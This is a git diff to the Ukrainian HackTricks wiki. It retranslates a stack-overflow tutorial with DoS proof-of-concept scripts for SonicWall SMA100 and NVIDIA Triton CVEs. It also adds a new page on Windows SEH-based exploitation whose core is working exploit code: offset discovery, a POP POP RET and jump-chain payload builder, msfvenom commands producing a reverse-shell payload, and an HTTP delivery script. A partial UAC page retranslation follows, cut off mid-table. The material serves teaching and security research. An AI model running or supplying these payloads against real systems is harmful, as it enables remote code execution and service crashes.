diff --git a/src/SUMMARY.md b/src/SUMMARY.md index e181a795f..ed10ffe41 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -779,6 +779,7 @@ - [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md) - [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md) - [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md) + - [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md) - [Array Indexing](binary-exploitation/array-indexing.md) - [Chrome Exploiting](binary-exploitation/chrome-exploiting.md) - [Integer Overflow](binary-exploitation/integer-overflow.md) diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 47345c858..4386c1d25 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -## Що таке переповнення стеку +## Що таке Stack Overflow -**Переповнення стеку** — це вразливість, яка виникає, коли програма записує більше даних у стек, ніж йому виділено. Ці надмірні дані **перезаписують сусідній простір пам'яті**, що призводить до пошкодження дійсних даних, порушення контролю потоку виконання та потенційно до виконання шкідливого коду. Ця проблема часто виникає через використання небезпечних функцій, які не виконують перевірку меж на вхідних даних. +**stack overflow** — це вразливість, яка виникає, коли програма записує у stack більше даних, ніж для нього виділено. Ці зайві дані **перезапишуть сусідню ділянку пам'яті**, що призведе до пошкодження коректних даних, порушення потоку управління та, можливо, виконання шкідливого коду. Ця проблема часто виникає через використання небезпечних функцій, які не виконують перевірку меж вхідних даних. -Основна проблема цього перезапису полягає в тому, що **збережений вказівник інструкцій (EIP/RIP)** та **збережений базовий вказівник (EBP/RBP)** для повернення до попередньої функції **зберігаються в стеці**. Тому зловмисник зможе перезаписати їх і **контролювати потік виконання програми**. +Головна проблема такого перезапису в тому, що **saved instruction pointer (EIP/RIP)** та **saved base pointer (EBP/RBP)** для повернення до попередньої функції **зберігаються на stack**. Отже, атакуючий зможе їх перезаписати і **контролювати потік виконання програми**. -Вразливість зазвичай виникає, оскільки функція **копіює в стек більше байтів, ніж виділено для неї**, тим самим здатна перезаписати інші частини стеку. +Зазвичай вразливість виникає через те, що функція **копіює у stack більше байтів, ніж для неї виділено**, тим самим перезаписуючи інші частини stack. -Деякі загальні функції, вразливі до цього, це: **`strcpy`, `strcat`, `sprintf`, `gets`**... Також функції, такі як **`fgets`**, **`read`** та **`memcpy`**, які приймають **аргумент довжини**, можуть бути використані в уразливий спосіб, якщо вказана довжина перевищує виділену. +Деякі поширені функції, вразливі до цього: **`strcpy`, `strcat`, `sprintf`, `gets`**... Також функції на кшталт **`fgets`**, **`read`** та **`memcpy`**, які приймають **аргумент довжини**, можуть використовуватися вразливо, якщо вказана довжина перевищує виділений обсяг. Наприклад, наступні функції можуть бути вразливими: ```c @@ -21,15 +21,15 @@ gets(buffer); // This is where the vulnerability lies printf("You entered: %s\n", buffer); } ``` -### Знаходження зсувів стекових переповнень +### Знаходження зсувів для Stack Overflows -Найпоширеніший спосіб знайти стекові переповнення - це ввести дуже великий обсяг `A`s (наприклад, `python3 -c 'print("A"*1000)'`) і очікувати `Segmentation Fault`, що вказує на те, що **адресу `0x41414141` намагалися отримати**. +Найпоширеніший спосіб знайти Stack Overflows — подати дуже великий вхід з `A` (наприклад `python3 -c 'print("A"*1000)'`) і очікувати `Segmentation Fault`, яке вказує, що **було спробовано звернутися до адреси `0x41414141`**. -Більше того, як тільки ви виявите, що існує вразливість стекового переповнення, вам потрібно буде знайти зсув, поки не стане можливим **перезаписати адресу повернення**, для цього зазвичай використовується **послідовність Де Брюйна.** Яка для даного алфавіту розміру _k_ і підпослідовностей довжини _n_ є **циклічною послідовністю, в якій кожна можлива підпослідовність довжини _n_ з'являється точно один раз** як безперервна підпослідовність. +Крім того, коли ви виявили, що існує Stack Overflow вразливість, вам потрібно знайти зсув, необхідний для того, щоб можна було **перезаписати адресу повернення**. Для цього зазвичай використовують **De Bruijn sequence.** Для заданого алфавіту розміру _k_ і підпослідовностей довжини _n_ це є **циклічна послідовність, у якій кожна можлива підпослідовність довжини _n_ з'являється рівно один раз** як суцільна підпослідовність. -Таким чином, замість того, щоб вручну з'ясовувати, який зсув потрібен для контролю EIP, можна використовувати в якості заповнювача одну з цих послідовностей, а потім знайти зсув байтів, які закінчилися перезаписом. +Таким чином, замість того, щоб вручну визначати, який зсув потрібен для контролю EIP, можна використати як наповнювач одну з таких послідовностей і потім знайти зсув байтів, які в кінці перезаписали її. -Можна використовувати **pwntools** для цього: +Для цього можна використати **pwntools**: ```python from pwn import * @@ -48,16 +48,17 @@ pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp ``` -## Використання переповнень стеку +## Exploiting Stack Overflows -Під час переповнення (якщо розмір переповнення достатньо великий) ви зможете **перезаписати** значення локальних змінних всередині стеку, поки не досягнете збереженого **EBP/RBP та EIP/RIP (або навіть більше)**.\ -Найпоширеніший спосіб зловживання цим типом вразливості - це **модифікація адреси повернення**, щоб, коли функція закінчується, **управлінський потік перенаправлявся туди, куди вказав користувач** у цьому вказівнику. +Під час overflow (припустивши, що розмір overflow достатньо великий) ви зможете **overwrite** значення локальних змінних у stack, поки не досягнете збережених **EBP/RBP and EIP/RIP (or even more)**.\ +Найпоширеніший спосіб зловживання цим типом вразливості — **modifying the return address**, тож коли функція завершиться, **control flow буде перенаправлений куди вказано в цьому вказівнику**. -Однак у інших сценаріях просто **перезапис деяких значень змінних у стеку** може бути достатньо для експлуатації (як у простих CTF викликах). +Однак в інших сценаріях може бути достатньо просто **overwriting some variables values in the stack** (наприклад у простих CTF challenges). ### Ret2win -У цьому типі CTF викликів є **функція** **всередині** бінарного файлу, яка **ніколи не викликається** і яку **вам потрібно викликати, щоб виграти**. Для цих викликів вам просто потрібно знайти **зсув для перезапису адреси повернення** та **знайти адресу функції**, яку потрібно викликати (зазвичай [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) буде вимкнено), щоб, коли вразлива функція повертається, прихована функція буде викликана: +У цьому типі CTF challenges у бінарі є **function** всередині, яка **ніколи не викликається**, і яку **потрібно викликати, щоб виграти**. Для таких завдань потрібно знайти **offset to overwrite the return address** та **find the address of the function** для виклику (зазвичай [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) буде вимкнено), щоб коли вразлива функція повернеться, прихована функція була викликана: + {{#ref}} ret2win/ @@ -65,65 +66,79 @@ ret2win/ ### Stack Shellcode -У цьому сценарії зловмисник може помістити shellcode у стек і зловживати контрольованим EIP/RIP, щоб стрибнути до shellcode і виконати довільний код: +У цьому сценарії атакуючий може розмістити shellcode в stack і використати контрольований EIP/RIP, щоб перейти до shellcode і виконати довільний код: + {{#ref}} stack-shellcode/ {{#endref}} -### ROP & Ret2... техніки +### Windows SEH-based exploitation (nSEH/SEH) + +На 32-bit Windows overflow може перезаписати ланцюжок Structured Exception Handler (SEH) замість збереженої return address. Експлуатація зазвичай замінює SEH pointer на POP POP RET gadget та використовує 4-байтне поле nSEH для короткого стрибка, щоб повернутися в великий буфер, де знаходиться shellcode. Поширений патерн — короткий jmp в nSEH, який потрапляє на 5-байтний near jmp, розміщений безпосередньо перед nSEH, щоб відскочити на сотні байтів назад до початку payload. + + +{{#ref}} +windows-seh-overflow.md +{{#endref}} + +### ROP & Ret2... techniques + +Ця техніка є фундаментальною основою для обходу основного захисту попереднього підходу: **No executable stack (NX)**. Вона також дозволяє реалізувати кілька інших технік (ret2lib, ret2syscall...), які врешті виконують довільні команди, зловживаючи існуючими інструкціями в бінарі: -Ця техніка є основною основою для обходу основного захисту попередньої техніки: **Не виконавчий стек (NX)**. І вона дозволяє виконувати кілька інших технік (ret2lib, ret2syscall...), які закінчаться виконанням довільних команд, зловживаючи існуючими інструкціями в бінарному файлі: {{#ref}} ../rop-return-oriented-programing/ {{#endref}} -## Переповнення купи +## Heap Overflows + +Overflow трапляється не завжди в stack, він також може бути в **heap**, наприклад: -Переповнення не завжди буде в стеку, воно також може бути в **купі**, наприклад: {{#ref}} ../libc-heap/heap-overflow.md {{#endref}} -## Типи захисту +## Типи захистів + +Існує кілька механізмів захисту, що намагаються запобігти експлуатації вразливостей — перегляньте їх у: -Існує кілька захистів, які намагаються запобігти експлуатації вразливостей, перевірте їх у: {{#ref}} ../common-binary-protections-and-bypasses/ {{#endref}} -### Приклад з реального життя: CVE-2025-40596 (SonicWall SMA100) +### Real-World Example: CVE-2025-40596 (SonicWall SMA100) -Добра демонстрація того, чому **`sscanf` ніколи не слід довіряти для парсингу ненадійного вводу**, з'явилася в 2025 році в SSL-VPN пристрої SonicWall SMA100. -Вразлива рутина всередині `/usr/src/EasyAccess/bin/httpd` намагається витягти версію та кінцеву точку з будь-якого URI, який починається з `/__api__/`: +Яскрава демонстрація того, чому **`sscanf` should never be trusted for parsing untrusted input** з’явилася у 2025 році в SonicWall SMA100 SSL-VPN appliance. +Вразлива рутина всередині `/usr/src/EasyAccess/bin/httpd` намагається витягнути версію та endpoint з будь-якого URI, що починається з `/__api__/`: ```c char version[3]; char endpoint[0x800] = {0}; /* simplified proto-type */ sscanf(uri, "%*[^/]/%2s/%s", version, endpoint); ``` -1. Перше перетворення (`%2s`) безпечно зберігає **два** байти в `version` (наприклад, `"v1"`). -2. Друге перетворення (`%s`) **не має специфікатора довжини**, тому `sscanf` буде копіювати **до першого байта NUL**. -3. Оскільки `endpoint` знаходиться на **стеку** і має **0x800 байт**, надання шляху довше ніж 0x800 байт пошкоджує все, що знаходиться після буфера ‑ включаючи **стековий канар** і **збережену адресу повернення**. +1. Перша конверсія (`%2s`) безпечно зберігає **два** байти в `version` (наприклад `"v1"`). +2. Друга конверсія (`%s`) **не має специфікатора довжини**, тому `sscanf` продовжуватиме копіювання **до першого байта NUL**. +3. Оскільки `endpoint` розташований на **stack** і має довжину **0x800 байтів**, передача шляху довшого за 0x800 байтів пошкоджує все, що знаходиться після буфера ‑ включно з **stack canary** та **saved return address**. -Однорядковий доказ концепції достатній, щоб викликати збій **до аутентифікації**: +Достатньо single-line proof-of-concept, щоб спричинити crash **before authentication**: ```python import requests, warnings warnings.filterwarnings('ignore') url = "https://TARGET/__api__/v1/" + "A"*3000 requests.get(url, verify=False) ``` -Навіть якщо стекові канарейки призупиняють процес, зловмисник все ще отримує **Denial-of-Service** примітив (і, з додатковими витоками інформації, можливо, виконання коду). Урок простий: +Навіть незважаючи на те, що stack canaries переривають процес, атакуючий все одно отримує примітив **Denial-of-Service** (а при додаткових information leaks — можливе виконання коду). Урок простий: -* Завжди вказуйте **максимальну ширину поля** (наприклад, `%511s`). -* Віддавайте перевагу більш безпечним альтернативам, таким як `snprintf`/`strncpy_s`. +* Завжди вказуйте **максимальну ширину поля** (наприклад `%511s`). +* Надавайте перевагу безпечнішим альтернативам, таким як `snprintf`/`strncpy_s`. ### Реальний приклад: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) -NVIDIA Triton Inference Server (≤ v25.06) містив кілька **переповнень стеку**, доступних через його HTTP API. Уразливий шаблон неодноразово з'являвся в `http_server.cc` та `sagemaker_server.cc`: +NVIDIA’s Triton Inference Server (≤ v25.06) містив кілька **stack-based overflows**, до яких можна було дістатися через його HTTP API. +Вразливий патерн багаторазово з'являвся в `http_server.cc` та `sagemaker_server.cc`: ```c int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0); if (n > 0) { @@ -133,9 +148,9 @@ alloca(sizeof(struct evbuffer_iovec) * n); ... } ``` -1. `evbuffer_peek` (libevent) повертає **кількість внутрішніх сегментів буфера**, які складають тіло поточного HTTP запиту. -2. Кожен сегмент викликає виділення **16-байтового** `evbuffer_iovec` на **стеку** через `alloca()` – **без жодних верхніх меж**. -3. Зловживаючи **HTTP _chunked transfer-encoding_**, клієнт може змусити запит бути розділеним на **сотні тисяч 6-байтових частин** (`"1\r\nA\r\n"`). Це призводить до того, що `n` зростає без обмежень, поки стек не вичерпається. +1. `evbuffer_peek` (libevent) повертає **кількість внутрішніх сегментів буфера**, що складають поточне тіло HTTP-запиту. +2. Кожен сегмент призводить до виділення **16-byte** `evbuffer_iovec` на **stack** через `alloca()` — **без будь-якої верхньої межі**. +3. Зловживаючи **HTTP _chunked transfer-encoding_**, клієнт може змусити запит розбитися на **сотні тисяч 6-byte шматків** (`"1\r\nA\r\n"`). Це призводить до необмеженого зростання `n`, поки **stack** не буде вичерпано. #### Доказ концепції (DoS) ```python @@ -161,10 +176,10 @@ s.close() if __name__ == "__main__": exploit(*sys.argv[1:]) ``` -A ~3 MB запит достатній для перезапису збереженої адреси повернення та **виклику збою** демона на стандартній збірці. +A ~3 MB request is enough to overwrite the saved return address and **crash** the daemon on a default build. -#### Patch & Mitigation -Випуск 25.07 замінює небезпечне виділення стеку на **вектор `std::vector`, що підтримується купою** та коректно обробляє `std::bad_alloc`: +#### Патч і пом'якшення +Реліз 25.07 замінює небезпечне виділення в стеку на **heap-backed `std::vector`** та коректно обробляє `std::bad_alloc`: ```c++ std::vector v_vec; try { @@ -174,13 +189,14 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed"); } struct evbuffer_iovec *v = v_vec.data(); ``` -Уроки, які ми засвоїли: +Уроки: * Ніколи не викликайте `alloca()` з розмірами, контрольованими атакуючим. -* Пакетні запити можуть суттєво змінити форму буферів на стороні сервера. -* Перевіряйте / обмежуйте будь-яке значення, отримане з клієнтського вводу, *перед* його використанням у виділенні пам'яті. +* Запити з chunked кодуванням можуть радикально змінювати структуру буферів на сервері. +* Перевіряйте / обмежуйте будь-яке значення, отримане з введення клієнта, *перед* використанням його у виділеннях пам'яті. ## Посилання * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) * [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/) +* [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md new file mode 100644 index 000000000..ddb7b35a4 --- /dev/null +++ b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md @@ -0,0 +1,150 @@ +# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH) + +{{#include ../../banners/hacktricks-training.md}} + +SEH-based exploitation — класична x86 Windows техніка, яка зловживає Structured Exception Handler chain, що зберігається в стеку. Коли stack buffer overflow перезаписує два 4-байтові поля + +- nSEH: вказівник на наступний запис SEH, та +- SEH: вказівник на функцію обробника винятків + +зловмисник може отримати контроль над виконанням шляхом: + +1) Встановлення SEH на адресу POP POP RET gadget в непідзахищеному модулі, так щоб при обробці винятку gadget повернув керування в байти, контрольовані зловмисником, та +2) Використання nSEH для перенаправлення виконання (зазвичай коротким стрибком) назад у великий переповнений буфер, де знаходиться shellcode. + +Ця техніка специфічна для 32-bit процесів (x86). На сучасних системах віддавайте перевагу модулю без SafeSEH і ASLR для пошуку gadget'а. Недопустимі символи часто включають 0x00, 0x0a, 0x0d (NUL/CR/LF) через C-strings і парсинг HTTP. + +--- + +## Знаходження точних зсувів (nSEH / SEH) + +- Спровокуйте краш процесу і перевірте, що SEH chain перезаписано (наприклад, в x32dbg/x64dbg перевірте SEH view). +- Відправте cyclic pattern як переповнюючі дані і обчисліть зсуви двох dword'ів, що потрапляють у nSEH і SEH. + +Приклад з peda/GEF/pwntools на 1000-byte POST body: +```bash +# generate pattern (any tool is fine) +/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000 +# or +python3 -c "from pwn import *; print(cyclic(1000).decode())" + +# after crash, note the two 32-bit values from SEH view and compute offsets +/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH +/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH +# ➜ offsets example: nSEH=660, SEH=664 +``` +Підтвердіть, розмістивши маркери в цих позиціях (наприклад, nSEH=b"BB", SEH=b"CC"). Тримайте загальну довжину сталою, щоб зробити крах відтворюваним. + +--- + +## Вибір POP POP RET (SEH gadget) + +Вам потрібна послідовність POP POP RET, щоб розгорнути SEH-фрейм і повернутися до байтів nSEH. Знайдіть її в модулі без SafeSEH і, бажано, без ASLR: + +- Mona (Immunity/WinDbg): `!mona modules`, потім `!mona seh -m modulename`. +- x64dbg plugin ERC.Xdbg: `ERC --SEH`, щоб перелічити POP POP RET gadgets і статус SafeSEH. + +Виберіть адресу, яка при записі в little-endian не містить badchars (наприклад, `p32(0x004094D8)`). Віддавайте перевагу gadgets всередині вразливого бінарника, якщо захист дозволяє. + +--- + +## Техніка повернення назад (short + near jmp) + +nSEH займає лише 4 байти, що вміщує щонайбільше 2-байтовий short jump (`EB xx`) плюс паддінг. Якщо потрібно відскочити на сотні байтів назад, щоб дістатися початку вашого буфера, використайте 5-байтовий near jump, розміщений безпосередньо перед nSEH, і зчепіть його з коротким переходом зі nSEH. + +With nasmshell: +```text +nasm> jmp -660 ; too far for short; near jmp is 5 bytes +E967FDFFFF +nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding) +EBF6 +nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop) +E96FFDFFFF +``` +Ідея розміщення для 1000-байтового payload з nSEH на зсуві 660: +```python +buffer_length = 1000 +payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start +payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH +payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding +payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad +payload += p32(0x004094D8) # SEH: POP POP RET (no badchars) +payload += b"D" * (buffer_length - len(payload)) +``` +Потік виконання: +- Виникає виняток, диспетчер використовує перезаписаний SEH. +- POP POP RET призводить до виконання нашого nSEH. +- nSEH виконує `jmp short -8` у 5-байтовий near jump. +- Near jump приземляється на початку нашого буфера, де розташований NOP sled + shellcode. + +--- + +## Небажані символи + +Створіть повний badchar string і порівняйте вміст стеку після краху, вилучаючи байти, які спотворює парсер цілі. Для переповнень на основі HTTP, `\x00\x0a\x0d` майже завжди виключені. +```python +badchars = bytes([x for x in range(1,256)]) +payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case +``` +--- + +## Генерація Shellcode (x86) + +Використовуйте msfvenom з вашими badchars. Невеликий NOP sled допомагає компенсувати зміщення при попаданні. +```bash +msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ +-b "\x00\x0a\x0d" -f python -v sc +``` +Якщо генеруєте на льоту, hex-формат зручний для вбудовування і unhex у Python: +```bash +msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ +-b "\x00\x0a\x0d" -f hex +``` +--- + +## Доставка через HTTP (precise CRLF + Content-Length) + +Коли вразливим вектором є HTTP request body, сформуйте raw request із точними CRLFs і Content-Length, щоб server прочитав увесь переповнений body. +```python +# pip install pwntools +from pwn import remote +host, port = "", 8080 +body = b"A" * 1000 # replace with the SEH-aware buffer above +req = f"""POST / HTTP/1.1 +Host: {host}:{port} +User-Agent: curl/8.5.0 +Accept: */* +Content-Length: {len(body)} +Connection: close + +""".replace('\n','\r\n').encode() + body +p = remote(host, port) +p.send(req) +print(p.recvall(timeout=0.5)) +p.close() +``` +--- + +## Інструменти + +- x32dbg/x64dbg для спостереження за ланцюжком SEH та аналізу крашу. +- ERC.Xdbg (x64dbg плагін) для перерахування SEH gadgets: `ERC --SEH`. +- Mona як альтернатива: `!mona modules`, `!mona seh`. +- nasmshell для збірки коротких/near jumps та копіювання raw opcodes. +- pwntools для створення точних мережевих payloads. + +--- + +## Примітки та застереження + +- Застосовується лише до процесів x86. x64 використовує інший SEH scheme, і експлуатація, заснована на SEH, зазвичай не є життєздатною. +- Віддавайте перевагу gadget'ам у модулях без SafeSEH та ASLR; інакше знайдіть незахищений модуль, завантажений у процес. +- Сервісні watchdog'и, які автоматично перезапускають сервіс при краші, можуть полегшити ітеративну розробку експлойту. + +## Посилання +- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) +- [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg) +- [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/) +- [Mona.py – WinDbg/Immunity helper](https://github.com/corelan/mona) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md index be6b48388..80f019916 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md @@ -1,121 +1,122 @@ -# UAC - User Account Control +# UAC - Контроль облікових записів користувача {{#include ../../banners/hacktricks-training.md}} ## UAC -[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) - це функція, яка дозволяє **запит на згоду для підвищених дій**. Додатки мають різні рівні `integrity`, і програма з **високим рівнем** може виконувати завдання, які **можуть потенційно скомпрометувати систему**. Коли UAC увімкнено, програми та завдання завжди **виконуються в контексті безпеки облікового запису, що не є адміністратором**, якщо адміністратор явно не надає цим програмам/завданням доступ на рівні адміністратора для виконання. Це зручна функція, яка захищає адміністраторів від ненавмисних змін, але не вважається межою безпеки. +[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) — це функція, яка забезпечує запит на згоду для підвищених дій. Застосунки мають різні `integrity` рівні, і програма з **високим рівнем** може виконувати завдання, які **потенційно можуть скомпрометувати систему**. Коли UAC увімкнено, застосунки та завдання завжди **запускаються в контексті облікового запису звичайного користувача**, якщо адміністратор явно не надає цим застосункам/завданням доступ рівня адміністратора для виконання. Це зручна функція, яка захищає адміністраторів від ненавмисних змін, але не вважається межею безпеки. + +For more info about integrity levels: -Для отримання додаткової інформації про рівні цілісності: {{#ref}} ../windows-local-privilege-escalation/integrity-levels.md {{#endref}} -Коли UAC активовано, адміністратору надаються 2 токени: стандартний ключ користувача для виконання звичайних дій на звичайному рівні та один з адміністративними привілеями. +Коли UAC увімкнено, користувачу-адміністратору надаються 2 токени: стандартний токен для виконання звичайних дій як звичайний користувач і ще один токен з привілеями адміністратора. -Ця [сторінка](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) детально обговорює, як працює UAC, включаючи процес входу, досвід користувача та архітектуру UAC. Адміністратори можуть використовувати політики безпеки для налаштування роботи UAC, специфічної для їхньої організації на локальному рівні (використовуючи secpol.msc) або налаштовувати та розгортати через об'єкти групової політики (GPO) в середовищі Active Directory. Різні налаштування обговорюються детально [тут](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Існує 10 налаштувань групової політики, які можна встановити для UAC. Наступна таблиця надає додаткові деталі: +This [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) детально описує, як працює UAC, включно з процесом входу, користувацьким досвідом та архітектурою UAC. Адміністратори можуть використовувати політики безпеки для конфігурації роботи UAC на локальному рівні (через secpol.msc) або налаштовувати та розгортати їх через Group Policy Objects (GPO) в середовищі Active Directory. Різні налаштування детально описані [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Існує 10 налаштувань Group Policy, які можна задати для UAC. Нижче наведена додаткова інформація: -| Налаштування групової політики | Ключ реєстру | Налаштування за замовчуванням | -| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | -------------------------------------------------------------- | -| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Вимкнено | -| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Вимкнено | -| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Запит на згоду для не-Windows бінарних файлів | -| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Запит на облікові дані на захищеному робочому столі | -| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Увімкнено (за замовчуванням для домашніх) Вимкнено (за замовчуванням для підприємств) | -| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Вимкнено | -| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Увімкнено | -| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Увімкнено | -| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Увімкнено | -| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Увімкнено | +| Group Policy Setting | Registry Key | Default Setting | +| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ | +| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Disabled | +| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Disabled | +| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt for consent for non-Windows binaries | +| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prompt for credentials on the secure desktop | +| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Enabled (default for home) Disabled (default for enterprise) | +| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Disabled | +| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Enabled | +| [User Account Control: Run all administrators in Admin Approval 